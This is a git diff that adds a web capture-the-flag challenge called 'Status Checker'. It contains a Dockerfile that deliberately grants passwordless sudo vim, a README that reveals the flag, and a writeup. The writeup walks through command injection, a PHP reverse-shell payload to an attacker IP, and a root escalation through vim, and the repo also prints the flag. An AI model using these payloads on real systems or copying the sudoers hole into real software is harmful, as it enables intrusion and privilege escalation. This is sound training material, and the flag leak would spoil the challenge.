diff --git a/challenges/web/Status Checker/Dockerfile b/challenges/web/Status Checker/Dockerfile new file mode 100644 index 0000000..381ad0d --- /dev/null +++ b/challenges/web/Status Checker/Dockerfile @@ -0,0 +1,22 @@ +FROM debian:stable + +RUN apt update && apt install -y sudo cron apache2 php libapache2-mod-php curl vim +RUN rm /var/www/html/index.html +RUN echo "HEX{N3tw0rK_ErR_500_W1kS2kKiL}" > /root/flag.txt + +# Change the owner of the /var/www/ directory to www-data +RUN chown www-data:www-data /var/www/ + +# Add www-data to sudoers file for vim command +RUN echo 'www-data ALL=(ALL) NOPASSWD:/usr/bin/vim' >> /etc/sudoers + +# Copy the PHP script to the /var/www/html directory +COPY index.php /var/www/html/index.php + +# Change the Apache port to 50102 +RUN sed -i 's/80/52002/g' /etc/apache2/ports.conf /etc/apache2/sites-available/000-default.conf + +# Start apache2 and cron in the foreground +CMD service apache2 start && cron -f + +EXPOSE 52002 \ No newline at end of file diff --git a/challenges/web/Status Checker/README.md b/challenges/web/Status Checker/README.md new file mode 100644 index 0000000..d9351f8 --- /dev/null +++ b/challenges/web/Status Checker/README.md @@ -0,0 +1,18 @@ +# Status Checker + +Check out this simple HTTP status checker I made! + +## Summary + +- Author: Goh Zavier +- Discord Username: gzavz +- Category: Web +- Diffculty: Medium + +## Hints + +None + +## Flag + +``HEX{N3tw0rK_ErR_500_W1kS2kKiL}`` diff --git a/challenges/web/Status Checker/images/wimg-1.png b/challenges/web/Status Checker/images/wimg-1.png new file mode 100644 index 0000000..1541fae Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-1.png differ diff --git a/challenges/web/Status Checker/images/wimg-2.png b/challenges/web/Status Checker/images/wimg-2.png new file mode 100644 index 0000000..40014f1 Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-2.png differ diff --git a/challenges/web/Status Checker/images/wimg-3.png b/challenges/web/Status Checker/images/wimg-3.png new file mode 100644 index 0000000..f1f681a Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-3.png differ diff --git a/challenges/web/Status Checker/images/wimg-4.png b/challenges/web/Status Checker/images/wimg-4.png new file mode 100644 index 0000000..2bab1f7 Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-4.png differ diff --git a/challenges/web/Status Checker/images/wimg-5.png b/challenges/web/Status Checker/images/wimg-5.png new file mode 100644 index 0000000..fe479f1 Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-5.png differ diff --git a/challenges/web/Status Checker/images/wimg-6.png b/challenges/web/Status Checker/images/wimg-6.png new file mode 100644 index 0000000..5f2544f Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-6.png differ diff --git a/challenges/web/Status Checker/images/wimg-7.png b/challenges/web/Status Checker/images/wimg-7.png new file mode 100644 index 0000000..14a78e0 Binary files /dev/null and b/challenges/web/Status Checker/images/wimg-7.png differ diff --git a/challenges/web/Status Checker/index.php b/challenges/web/Status Checker/index.php new file mode 100644 index 0000000..60ee118 --- /dev/null +++ b/challenges/web/Status Checker/index.php @@ -0,0 +1,44 @@ + + + + Status Checker + + + +
+

Website Status Checker


+
+

+

+ +
+ HTTP Status: $output
"; + } + ?> + + + diff --git a/challenges/web/Status Checker/writeup.md b/challenges/web/Status Checker/writeup.md new file mode 100644 index 0000000..0b42da6 --- /dev/null +++ b/challenges/web/Status Checker/writeup.md @@ -0,0 +1,45 @@ +We are given a site where we can check the status of websites. + +Entering a valid URL such as ``https://google.com`` will return us the HTTP status code as seen in the following screenshot. + +![wimg-1](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/2172799693442df396d9857becae25e70e1ca596/challenges/web/Status%20Checker/images/wimg-1.png) + +Entering a semi-colon (;) will break the command. We can try to use the payload ``; whoami`` and we are returned ``www-data`` as our user as seen in the following screenshot. + +![wimg-2](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/a0a1f11bace0c0ed057208ff3d3ce65661dfe2af/challenges/web/Status%20Checker/images/wimg-2.png) + +We can attempt to spawn a reverse shell by first having netcat listen on our desired port. In this example, the port will be 45101 and the netcat command will be ``nc -nlvp 45101`` as seen in the following screenshot. + +![wimg-3](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/a0a1f11bace0c0ed057208ff3d3ce65661dfe2af/challenges/web/Status%20Checker/images/wimg-3.png) + +Once its listening on the port, we can use the following payload to spawn the reverse shell. Replace "YOUR-IP-HERE" with your IP address. + +``` +; php -r '$sock=fsockopen("YOUR-IP-ADDRESS",45101);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +Input the above payload into the input box as seen in the following screenshot. + +![wimg-4](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/a0a1f11bace0c0ed057208ff3d3ce65661dfe2af/challenges/web/Status%20Checker/images/wimg-4.png) + +Click on the "Check HTTP Status" and observe that the website has hung. Return to the netcat session and observe that we have gotten a shell as seen in the following screenshot. + +![wimg-5](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/a0a1f11bace0c0ed057208ff3d3ce65661dfe2af/challenges/web/Status%20Checker/images/wimg-5.png) + +We can spawn an interactive shell using the command ``script -qc /bin/bash /dev/null``. Once done, we can explore the system. We can use the command ``sudo -l`` and see that we can run the command ``vim`` as root without a password as seen in the following screenshot. + +![wimg-6](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/64886584ff8936fb97898bbd2e3c574d9482bacc/challenges/web/Status%20Checker/images/wimg-6.png) + +Using GTFOBins, we are able to breakout and obtain a shell as a root user using the following command: + +``` +vim -c ':!/bin/sh' +``` + +Using the command ``whoami`` we can see that we are now the root user as seen in the following screenshot. + +![wimg-7](https://github.com/lenebread/GiTxHextech-Challenge-Repo/blob/64886584ff8936fb97898bbd2e3c574d9482bacc/challenges/web/Status%20Checker/images/wimg-7.png) + +We can obtain the flag in the root directory by using the command ``cd /root`` and ``cat flag.txt``. + +The flag is ``HEX{N3tw0rK_ErR_500_W1kS2kKiL}``.